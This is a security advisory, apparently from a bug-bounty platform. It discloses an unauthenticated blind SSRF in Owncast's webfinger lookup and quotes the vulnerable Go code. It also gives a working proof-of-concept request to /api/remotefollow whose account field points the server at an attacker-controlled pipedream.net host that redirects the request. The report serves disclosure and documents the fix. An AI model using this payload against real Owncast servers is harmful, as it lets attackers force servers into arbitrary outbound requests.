Unauthenticated Blind SSRF in owncast/owncast

Valid

Reported on

Jun 7th 2023


Description

The Oxeye research team found Owncast vulnerable to an Unauthenticated Blind SSRF vulnerability. This vulnerability may allow an unauthenticated attacker to force the Owncast server to send HTTP requests to arbitrary locations using the GET HTTP method. This vulnerability also allows the attacker to send the requests while specifying arbitrary URL paths and query parameters.

Proof of Concept

The vulnerable code is located in the GetWebfingerLinks function - https://github.com/owncast/owncast/blob/46864d18d9dcbba4ca990f58c8896d3d2f81d8aa/activitypub/webfinger/webfinger.go#LL22C8-L22C8

package webfinger

import (
    "encoding/json"
    "fmt"
    "net/http"
    "net/url"
    "strings"
)

// GetWebfingerLinks will return webfinger data for an account.
func GetWebfingerLinks(account string) ([]map[string]interface{}, error) {
    type webfingerResponse struct {
        Links []map[string]interface{} `json:"links"`
    }

    account = strings.TrimLeft(account, "@") // remove any leading @
    accountComponents := strings.Split(account, "@")
    fediverseServer := accountComponents[1]

    // HTTPS is required.
    requestURL, err := url.Parse("https://" + fediverseServer)
    if err != nil {
        return nil, fmt.Errorf("unable to parse fediverse server host %s", fediverseServer)
    }

    requestURL.Path = "/.well-known/webfinger"
    query := requestURL.Query()
    query.Add("resource", fmt.Sprintf("acct:%s", account))
    requestURL.RawQuery = query.Encode()

    response, err := http.DefaultClient.Get(requestURL.String())
    if err != nil {
        return nil, err
    }

    defer response.Body.Close()

    var links webfingerResponse
    decoder := json.NewDecoder(response.Body)
    if err := decoder.Decode(&links); err != nil {
        return nil, err
    }

    return links.Links, nil
}

As can be seen from the code above, the user-controlled input passed within the parameter name account is parsed as a URL, and later on, in line 32, an HTTP request is issued to the specified host.

Although Owncast attempts to limit the request URL to a specific path, and also the protocol schema to allow the https only, by pointing the request to an HTTPS server that will return an HTTP redirect status code, it is possible to redirect the request to use the http protocol scheme, to use basic authentication with attacker-specified credentials and also allows to redirect the request to the arbitrary URL path.

To demonstrate the above, we set up an HTTPS server using “pipedream.com” and instructed it to redirect the incoming request. Given an HTTP request, we send a 301 status code and a Location header, redirecting the request to our own controlled server.

We then issue the following HTTP request to Owncast to make it issue the initial HTTPS request to our “pipedream” instance:

POST /api/remotefollow HTTP/1.1
Host: owncast.local:8282
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 49

{"account":"a@eol8492ef2cv6mg.m.pipedream.net"}

Our HTTP listener received the redirected request, which was sent while:

  1. Using the http protocol schema
  2. Supplying basic authentication credentials that we specified
  3. Using a URL path of our own choice

Credits

Impact

This vulnerability allows an unauthenticated attacker to force the Owncast server to send HTTP requests to arbitrary locations using the GET HTTP method. This vulnerability also allows the attacker to send the requests while specifying arbitrary URL paths and query parameters.

We are processing your report and will contact the owncast team within 24 hours. 6 months ago
A GitHub Issue asking the maintainers to create a SECURITY.md exists 6 months ago
Daniel Abeles modified the report
6 months ago
owncast/owncast maintainer has acknowledged this report 6 months ago
Gabe Kangas validated this vulnerability 6 months ago
Daniel Abeles has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Gabe Kangas marked this as fixed in 0.1.0 with commit f40135 6 months ago
Gabe Kangas has been awarded the fix bounty
This vulnerability has been assigned a CVE
Gabe Kangas published this vulnerability 6 months ago
to join this conversation